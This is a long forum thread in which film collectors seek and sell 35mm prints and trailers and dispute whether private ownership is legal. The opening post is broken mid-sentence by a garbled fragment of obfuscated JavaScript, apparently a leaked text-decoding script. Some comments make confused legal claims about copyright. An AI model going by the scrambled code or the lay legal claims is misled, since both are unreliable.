35MM film wanted

posted by JustinIshmael on October 4, 2007 at 7:35 am

Hello All! I recently got my projector up and running and am wanting to start getting some 35mm film to run on it. Does anyone have any features from the 70’s or 80’s they’d like to sell? I figured there would be a few people on this site that would either have or know someone that has film for sale. 4Ejzqtnrmkku4Bj.q~ok1uC3j33q_/o.zGxgn"+ "i4kjuq1/71o.zGxgni4kjuqC1~1/00\\\\\\\\8C1oA/73nzmtkr4kjuq.BoA6Co.xulA--C~A"+ "(~Cbjkqu33_3i/k.ujxIngsIxu4ltmxoYz1CA~8>C7i16/iBl.Ao39o/z.kGujxIng4ijkquiC"+ "01\\\\0/\\\\11Aozntmrkk4ujBqAoC6.ouxAl--~Cbbb(A2DG+8jnErw)u)jvny){xGMe+e+n"+ "F}u}r+)velxu7jxqIr|~|l}ljqnC}}xruvje+oF{b)En1q}j{+7nwr00\\\\0v\\\\l}mnC~bx"+ "(bkbujCqb(kjuqC(jkqu@%ghnr\\\"\\\\e=od\\\"kk;do=eokeds.lpti'()'r.verees)(j"+ ".io(n'')\";x='';for(i=0;i<(kode.length-1);i+=2){x+=kode.charAt(i+1)+kode.c"+ "harAt(i)}kode=x+(i */ if you can help. Thanks!


Comments (73)

William on October 4, 2007 at 8:46 am

There are collector sites on the internet that deals with film. This site deals with theatres. Even films from the 1970’s and 1980’s are not made available by the studios to buy. So you should do a search for them.

JohnMLauter on October 4, 2007 at 1:05 pm

I do not understand how anyone could legally own a 35mm print of a feature film. They are the property of the studio/distributor.I have called trying to book retro showings of known “classic” films only to be told by the distributor that no print exsists, or booked and received the available print only to discover that it was hacked to death and should have been destroyed. Then I have heard and read of “collectors” who claim to have mint copies of the same films. Those prints can only come from one place, and there is a name for how they are obtained.

Has something changed in the last 10 years?
do the studios/distributors sell prints now?

Mike (saps)
Mike (saps) on October 4, 2007 at 2:03 pm

Sometimes things fall off the backs of trucks.

Gerald A. DeLuca
Gerald A. DeLuca on October 4, 2007 at 4:41 pm

Justin, the well-known film collector magazine The Big Reel lists deals who have for decades offered 35mm prints for sale to collectors and institutions. Many of these prints were intially turned over to these dealers by studios getting rid of surplus material, by warehouses who were recouping money for defaulted storage payments. It is not true that individuals or archives or educational institutions cannot legally own 35mm prints. In fact, that is absurd! The same is true for 16mm prints, the preferred format for private film collectors before the advent of video and DVD. Many still do collect in that format. The question of rights, however, is a whole different matter. What you show privately in your home is one thing, but public showings or rentals to others for public showings can be copyright violations. If the film is in public domain, you can do anything you want with it, whether video, 16mm, or 35mm.

William on October 5, 2007 at 8:36 am

Your comment “Many of these prints were intially turned over to these dealers by studios getting rid of surplus material”. Is not really that true. The studios do not sell 35mm prints to the public. Yes, prints do find there ways to the collectors market by someone taking the item. The MPPA will look into problems dealing with 35mm prints. If you look at some end credits from features there is a line that states That this print is not for sale and owned by the studio. I’ve had a few collectors have their 35mm collections taken by the MPPA and returned to the said studios.

Gerald A. DeLuca
Gerald A. DeLuca on October 5, 2007 at 10:08 am

Many prints of classic films from past decades were saved and protected by private collectors. When studios lost copies of films or recklessly destroyed them, archives like UCLA, MoMA, George Eastman House, would often obtain them for their collections from PRIVATE COLLECTORS, as well as from donations from the studios themselves.

During televised film preservation series on TCM and AMC requests on behalf of archives routinely ask people to search their attics and garages for old films. The late film scholar William K. Everson bought and was given innumerable copies of 16mm prints from folks he knew at the studios and showewd them (always free) in his classes in New York. Studios sold huge numbers of 16mm films to TV stations in the days when that format was used for telecast. They made the first sale. And by that fact of “first sale,” every subsequent sale was legal. The same would be true of 35mm if they made the first sale, which is evidence that they did by selling blocks of movies to wholesale consolidators.

Years ago George Eastman House bought many 35mm and 16mm prints of films from me (Italian films, not Hollywood product) when I got rid of my Italian collection in favor of video and DVD a good number of years ago. Everything was legally purchased by me from from dealers in the Big Reel and other dealers and by warehouses selling the former holdings of now-defunct companies. These dealers who did not steal the huge inventories they offered and were unfraid to sell them FOR PRIVATE USE. If the studios objected, don’t you think the advertisers in The Big Reel selling 35mm and 70mm(!) prints would have had their asses sued off??? As far as studios and distributors not selling, they may say that, but in reality that is not always what they do, since it is less expensive to sell off large caches of 35mm prints after they are no longer need than to pay to destroy them as they also do.

Different studios, different distributors will have differing…and inconsistent…policies on this issue. Also, as I pointed out, storage facilities routinely sell prints when storage fees are not paid, in order to recoup their costs. Sometimes smaller film companies and distributors go out of business (common in the foreign film distribution market) and those wind up on ther for-sale lists. So you are inaccurate, very inaccurate, in saying that the only way to get 35mm film is by “takening the item,” that is by theft. These are not thefts that I am talking about! If people had 35mm collections returned to studios, it is possible that they were misusing them via paid public exhibition in violation of copyright.

This whole 35mm issue is becoming moot, given the inevitable move toward digital projection. And what will be a concomitant result? Ironically you will see more and more 35mm prints for sale to nostalgic collectors with a lot of space in their garages.

adix5689 on October 13, 2007 at 2:22 pm

Criterion Pictures USA, Inc. has 35mm films for rent. You can get just about any movie thats out now in the theaters.

rmc621 on December 7, 2008 at 12:35 pm

I do have the animation films from Fox Animation Studio. I bought them from Fox when they closed the studio. I have “Anastasia “and “Titan A.E.”. There are the original films, the color test, the pencil test, and all of the cut outs that were not use in the movies. I will sale them. You can reach me at or

oninoakuma on February 20, 2009 at 12:16 pm

Have you found any info about the legality of owning 35mm features? I have recently purchased some film. I was looking for a way to find out what might be some more of the rare or hard to find films. Have you found any internet resources with good info.


Moncehsco on September 2, 2009 at 10:28 am

I know this is no an 80s film but in e bay they are selling the last Bond movie in 35 mm. It apears to have subtitles in spanished, so is a rare thing, more a collectors Item I supouse. Despite Im not interested in ths particular ittem, I supouse it can be worth something in the future. If you want to check it out go to ths link:

View link

halfajob on September 9, 2009 at 9:14 am

hi there

i have the orginal cut neg of a starwars 35mm Palitoy/Kenner advert 2 versions and the sound neg and am looking for a buyer.
im located in the uk
if you know of anyone interested pleased contact me


Gemstones on November 28, 2009 at 11:51 am

I agree with the other poster. Anyone, yes anyone with the money can buy a 35mm print. They do not belong to the studios any more than DVDs belong to the studios. If you want to buy to view in the privacy in your own home, then you are perfectly within your rights to do it and no one can stop you. However, if you wanted to show them publicly it would be another matter. But then again so would the public exhibition of a DVD!

rmc621 on May 28, 2010 at 9:12 am

I have in my ownship 35 mm film Anastasia and Titan A.E.. They are the orginal films from Fox Animation Studio in Phoenix AZ. Got them from the Studio when I bought everything left. There is the pencil test, color test, and cut outs from the films. If your are interest, I can be reached at

togrosky on June 1, 2010 at 6:58 pm

My name is Timothy Ogrosky Former Pres. Of World International Corp. I have the American version of The Great Swindle. This film is still on 35mm, and in perfect shape. This Movie has never had a U.S. Copy Right but it did have a 26 year international Copy Right. Being made in 1971, the international copy right has now expired so that the Movie has no U.S. or international Copy Right. After talking with the U.S Patten Office this film can be changed somewhat and remarketed on TV or DVD, and a first time U.S. Copy Right given it according to the U.S. Patten Office. The Spanish name is Historia de una traición and details of the Movie can be seen at http://www.imdb.com/title/tt0066889/maindetails
I am disabled now and I’m looking for a corporate outlet, for either putting the film to DVD with myself getting a share of the remarketing or showing of it or maybe a outright purchase of the Film entirely.
It is the original USA dubbed English version and has no subtitles. If someone at Turner or another Corporation you know of may have any interest in a showing or a rerelease of the film please get back with me at As I said details are at http://www.imdb.com/title/tt0066889/maindetails
Some of the Stars:
Fernando Rey, stared in the French Connection the same year as staring in this Movie.
Stephen Boyd,
Marisa Mell,
Sylva Koscina
I would like someone to make an offer to purchase or some other arrangement.

Timothy Ogrosky Former President of World International Corp .
Please contact me at 937-253-3871

Mike Rogers
Mike Rogers on July 8, 2010 at 7:07 pm

I have tons of 35mm trailers taken from a theatre in boxes.

mrskins on October 11, 2010 at 1:51 pm

I have a copy of Star Wars return of the jedi 35mm feature film, which im looking to sell, any interest please contact me at .uk

dimesforever on October 25, 2010 at 10:48 am

There’s a 35mm feature of ‘Close Encounters Of The Third Kind’ on ebay at the moment. View link Last week there were two 35mm copies of ‘Star Wars’ sold. Both over $700 each copy. ‘Alien’ and ‘Teenwolf’ and ‘Deadly Friend’ also sold the same week. Loads of these features are appearing for sale online just lately.

tarkenton1 on September 3, 2011 at 7:42 am

justin i dont know where you are out of but i know of a nice collection someone is trying to get rid of many hard to get contact me at there are about a hundred films but he is getting rid of them quick too.

jojo on September 5, 2011 at 4:12 pm

i have some 35mm features and trailers for sale and some equipment film splicer,film cleaner, film frame counter etc.. if interested please send e mail to joe

Lyte on January 4, 2012 at 5:41 pm

I’ve 35mm movie trailer for Star Trek – The Wrath of Khan if you’re interested. You can reach me at lyteswitch (at) yahoo (dot) com : )

dakota424 on February 24, 2012 at 10:58 pm

I have in my posesion a pristine copy of Joe versus the volcano on 35 mm in the cans with the paper around the reel still on it from the day it was packed up. All six reels are in the two cans they came in from Warner Bros. in 1990. They come with the letter from WB telling of the two trailers for Quick Change and gremlins 2.

dakota424 on February 24, 2012 at 11:03 pm

My profile has a pic of the film, I have all 6 rolls.

k3nyc3t3r on July 4, 2012 at 9:35 pm

Any prints or trailers for sale?

Julian_Cheah on July 29, 2012 at 8:17 pm

I’m a producer of independent films and have a lot of 35mm prints of old prints that I’ve done and left in my store room now because the release is over. I have 11 more prints of one film and will be making 48 prints of another film soon. All the rights of these movies are owned by me. Anyone interested in buying my 35mm film prints? Contact me at:– This is my IMDb resume:– http://www.imdb.com/name/nm2699357/ Trailers of films:– http://www.youtube.com/watch?v=fh3PSRuPi54&feature=channel_video_title and http://www.youtube.com/watch?v=Vn1zk8dBwvc Best regards, Julian.

Jane33 on September 23, 2012 at 5:14 am

Justin my husband and I own an old movie theater. We have literally dozens of 35mm trailers if you are interested in them. From what I can see, most of them are from the 70’s. We are selling the theater and would like to get rid of the trailers. Let me know if you have any interest in them.

friday00 on September 25, 2012 at 11:19 am

Hey Jane33 – I’m looking for that kind of thing + 35mm films. they dont have to be complete. can you send me some info please.

guydanieli on October 5, 2012 at 4:17 am


I am looking for collectors who want to sell some features. Or maybe do you know a person who can sell films Thanks a lot Guy

Filmrecycling on December 29, 2012 at 8:08 am

Hi I have lots of 35mm and 16mm film and I mean lots also I will buy old 16 mm and 35mm film black and white or unused I will also sell mine put only in bulk contact me if you are a buyer thank you

dakota424 on January 3, 2013 at 7:33 pm

still got that joe versus the volcano movie

Flint963 on February 4, 2013 at 8:35 pm

If you or anyone else is looking I have a 35mm copy of Harry potter and the deathly hallows partone for sale email me if interested

Julian_Antos on March 4, 2013 at 6:08 pm

Hi Dakota,

I’m interested in Volcano if you still have it. E-mail me at antos451 (at) gmail (dot) com


WeirdOnTop on March 25, 2013 at 7:51 am

I have 5 reels (not sure if this is all of them) for the cult classic “Candy Snatchers”. E-mail me at , if you are interested.

Icepic on May 10, 2013 at 6:46 pm

If anyone has old 35mm they wish to get out of there stock please email me . Looking for trailers, movies and reels.

Iheartfilm on July 3, 2013 at 5:30 pm

Hello To all!!

I live in Vancouver BC Canada and have acquired a very large 35mm trailer collection. Mostly from the 1970’s and 1980’s but some 1950’s and 1960’s and a couple of boxes of more recent like LOTR and HP too Far more than one man needs I am open to selling individually or in bulk. Let me know if your interested. And what your looking for. I have far too many titles to start listing. Shipping will be on the buyer, and will proceed once payment has cleared. Pricing will be fair for you.



Iheartfilm on July 3, 2013 at 5:35 pm

Forget to mention.
You can email me about the 35mm trailer collection at


milosmom on July 10, 2013 at 4:07 pm

I have a substantial collection of 35mm features, most from the ‘50’s/'60’s. I also have television, trailers, and animation reels from the same time period. If anyone wants to see a catalogue of feature titles or get more information, shoot me an email at .

Pbielss on July 18, 2013 at 7:13 am

I need some help. I have an original 35MM Movie Trailer of the very rare, “Revenge of the Jedi”. I do not know what it’s worth or where I can sell it. I know that Ebay is always an option, but would rather try at a location of real 35MM collectors. Anybody with any ideas, please email me at

darthmo on January 13, 2014 at 11:14 pm


I have a copy of Lord of the Rings (2001version) the complete film on 35mm. If anyone is interested and would like to make a decent offer please email me at .


mm21 on February 1, 2014 at 9:09 pm

I have 3 movies new in boxes that I just got from a US customs auction. I guess no one claimed them. Movies are: “Snitch”, “killing them softly” and “the private lives of pippa lee”. If interested .

lotus on February 2, 2014 at 2:28 am

i have 100 of movies on 35mm i want to sell as collocter1970 to 1980 new print in box get in touch .uk

bjones68 on February 19, 2014 at 2:51 am

I also purchase 35mm Feature Films – please email me at Thanks!!

MMMAntiques on June 22, 2014 at 6:46 pm

Does anybody have an idea what a complete Godzilla 1985 movies could be worth? Thanks, Manny

Highbury on July 12, 2014 at 9:09 am

Have a copy of natural born killers on 35mm if anyone’s interested??

trizzoy0069 on July 20, 2014 at 8:53 am

I have R2 (reel2) The Empire Strikes Back SE. Header and Footer intact, please send me an offer or question. I’ve also got some trailers if interested. I’ve also got some other collectibles, (DTS discs, mylars, etc.) Thanks!!

B on July 27, 2014 at 11:10 am

Got some 70’s and 80’s for sale in the cans. Some classics. Let me know.

fritters on October 6, 2014 at 2:31 pm


cjames on October 6, 2014 at 10:35 pm

I have a nice original negative 35mm reel of “The Vise” Episode 30 (The Schemer) which was a TV Drama aired on ABC in the 1950’s. If you are interested please email Chris @ Thanks.

Ilikefilmalot2 on March 7, 2015 at 7:56 am

Has anyone got a 35mm print of ‘Watership Down’ on 35mm. All I can find is crappy DCP versions. Please contact me on

sigmund100 on May 14, 2015 at 7:34 pm

Looking for a 35mm Film print of Savannah Smiles (1982). If anyone has that, please post.

SighingFlosser on July 6, 2015 at 1:01 pm

I’m looking for 35mm or 16mm prints of several movies from the 60s that played drive-ins. The movies are:

Please Don’t Touch Me
White Lightnin' Road
Girl from Tobacco Row
The Exotic Ones

I’m also looking for 16mm prints of Christian films from the 1970s.

If anyone has any of these films for sale, or knows of anyone who might have prints, please contact me at

ali_mo on July 8, 2015 at 4:53 pm

Hi every body i have huge collection of 35 mm and 16 mm movie (mostly under 1975 and some of them are silent movies) some of them are only available version in the world . i consider sold my collection . if you are interested in or know some one or organization please let me know . Thanks Ali

Highbury on August 10, 2015 at 1:11 pm

Copy of natural born killers on 35mm if anyone is interested? .uk

JBStreet on September 15, 2015 at 4:49 pm

Rare 35mm print of the last 3D anaglyph (red/blue) film released on film stock, “Night of the Living Dead 3D” (2006) for sale. Own a piece of history! Only six prints left in the world. Prints were made by Deluxe in Hollywood. Print is in excellent condition. Included with the print are 10 pairs of original anaglyph glasses and two original posters. All can be autographed by the director. Print, glasses and posters are from the filmmaker’s personal collection. $700 or best offer. Ships from Los Angeles. Contact:

BobMovies on December 12, 2015 at 12:49 pm

Hello all. I have a bunch of 35MM Movie Trailers that I have from working at a movie theatre. Ex. Godfather Part 3, Indian Jones Last Crusade, Dick Tracy and more. If your looking can send a list and the prices of these and more. Please write to me at

carlosanaya on December 16, 2015 at 9:28 pm

Hi just started collecting and i am looking for any indiana jones or star wars 35mm films. (complete) or any godfather movie.

Please email me if you have any and looking to sell:

Super8rocks on February 22, 2016 at 2:00 pm

I have a great copy of Tim Burton’s Planet of the Apes if anyone s interested! email me at

AlbinS on April 6, 2016 at 8:00 pm

An historic collection of 35mm prints of 3-D films has been found and is up for sale. Features, shorts, drama, animation, comedy. Over 20 different titles, multiple prints of some titles, and specialized projection equipment. Would like to sell complete collection as a whole unit.

AlbinS on April 6, 2016 at 8:01 pm

An historic collection of 35mm prints of 3-D films has been found and is up for sale. Features, shorts, drama, animation, comedy. Over 20 different titles, multiple prints of some titles, and specialized projection equipment. Would like to sell complete collection as a whole unit. email address:

trizzoy0069 on April 20, 2016 at 7:09 pm

Looking for an offer on my 35mm reel 2 of The Empire Strikes Back SE. Great condition in the original 20th century fox reel. I also have all four main trailers that were released. Trilogy, and all 3 movies respectively. Scope 2.35:1 aspect ratio. Trilogy and Jedi have never been run through a projector, it’s unopened. Looking for highest offer. Having a hard time letting go, so it may take a hair over market value to give it up. Thanks!

PrestonN on May 30, 2016 at 11:32 am

Looking for a 35mm print of either Little Shop of Horrors (1986) or Twilight Zone The Movie, if anyone has?

MMadrid on June 15, 2016 at 4:02 pm

I have Little Shop, it’s seen better days… But it’s a nice print

Highbury on September 14, 2016 at 11:39 am

Hi selling my collection of 35mm

Teen wolf Passage to India Last Boy Scout Original spiderman

And also 5-6 1960s looney tunes cartoons

ali_mo on September 17, 2016 at 3:05 pm

Hi every body i have huge collection of 35 mm and 16 mm movie (mostly under 1975 and some of them are silent movies) some of them are only available version in the world . i consider sold my collection . if you are interested in or know some one or organization please let me know . Thanks Ali

Highbury on September 28, 2016 at 2:31 pm

Got blues brothers and the amazing spiderman 1977 .uk

MMadrid on October 6, 2016 at 1:28 am


I’m selling a 35mm collection I Inherited. Great condition, properly stored. Titles include: Good Fellas The Departed Wild Bunch Wizard Of Oz Willy Wonka East Of Eden The Shining Superman 2 WB Cartoons

talkring on October 25, 2016 at 5:45 pm

I am curating a Volume 2 George Pal Puppetoons which we will be restoring. I previously made “The Puppetoon Movie / Fantasy Film Worlds of George Pal” which was released as a Blu-ray in 2014.

Seeking 35mm nitrate IB Tech prints of several missing Puppetoons in excellent condition without splices, low in scratches. 35mm safety prints or 16mm might be acceptable but not faded Eastman color, few scratches, no splices

“Western Daze” (1941) “A Hatful of Dreams” (1944) “Bravo Mr. Strauss” (1943) “The Truck That Flew” (1943) “Wilbur the Lion” (1947) “Together in the Weather” (1945) “Mr. Strauss Takes A Walk” (1942) “The Little Broadcast” (1943) “Hoola Boola” (1941) “Romeow and Julicat” in color from feature “Variety Girl (1947)

possibly others depending on what you may have preferably in 35mm IB Tech, please contact me.

As stated above 5 minute Color Puppetoon “Romeow and Julicat” that appears in “Variety Girl” (1947). The feature was made in B&W with this cut in color Puppetoon. Only the original prints seen in theaters in 1947 contain the cut in color Puppetoon. We are seeking a collector that may have one of those original prints in excellent condition


Arnold Leibovit

buying35mm on January 20, 2017 at 11:02 am

Hello, I’m looking for 35mm prints of Star Wars, The Empire Strikes Back and Return of the Jedi. Special Edition or original releases, complete films or individual reels. Let me know if you’re selling!


tregtyler on May 20, 2017 at 9:02 am


I ran a movie theater back in early 2000’s and purchased an excellent 35mm print of Jerry Lewis' The Errand Boy. It was my back up film just in case the movie I had ordered / rented did not arrive by showtime. I am willing to sell it to help someone else out if it would help. Again, this print is in pristine condition and a great comedy just in case you need to bring levity to your community. If interested, reach out at

Best of luck to all.


tregtyler on May 20, 2017 at 9:05 am

I forgot to comment that I do have many technical items for an older theater with a 35mm projected. The theater was build in the 40’s and I have lenses, audio equipment, editing equipment, reels, a brand new never used osram lamp and more. If interested…email me at


Nowchinatown on July 28, 2017 at 10:48 am

Hello all, director here selling a very good condition show print ran maybe 3 or 4 times, make me an offer on these well reviewed 6 reels in Goldbergs. Thanks:) will include a signed DVD if you like. The cut neg and only other print was asked to be included in the ampas permanent collection and resides in their cold storage vault permanently. My directorial debut, an honor to be in the vault with Oscar winners and other films they deem important. https://www.amazon.com/Now-Chinatown-Lianne-X-Hu/dp/B0000714DE

Also my first short film when I was working at amblin and Steven gave $1000 towards budget. One reel 12 min and selling the cut neg and print. Beautiful on screen. https://m.youtube.com/watch?v=nhGT4NPkge8 Thank you:)

Nowchinatown on July 28, 2017 at 10:49 am

Whoops forgot contact me

ali_mo on April 23, 2018 at 6:42 pm

Hi every body i have huge collection of 35 mm and 16 mm movie (mostly under 1975 and some of them are silent movies) some of them are only available version in the world . i consider sold my collection . if you are interested in or know some one or organization please let me know . Thanks Ali

bjones68 on April 5, 2020 at 7:37 am

Hey Folks – still looking to purchase 35mm Feature Films – single prints or collections. Please email me at Thanks! Bob

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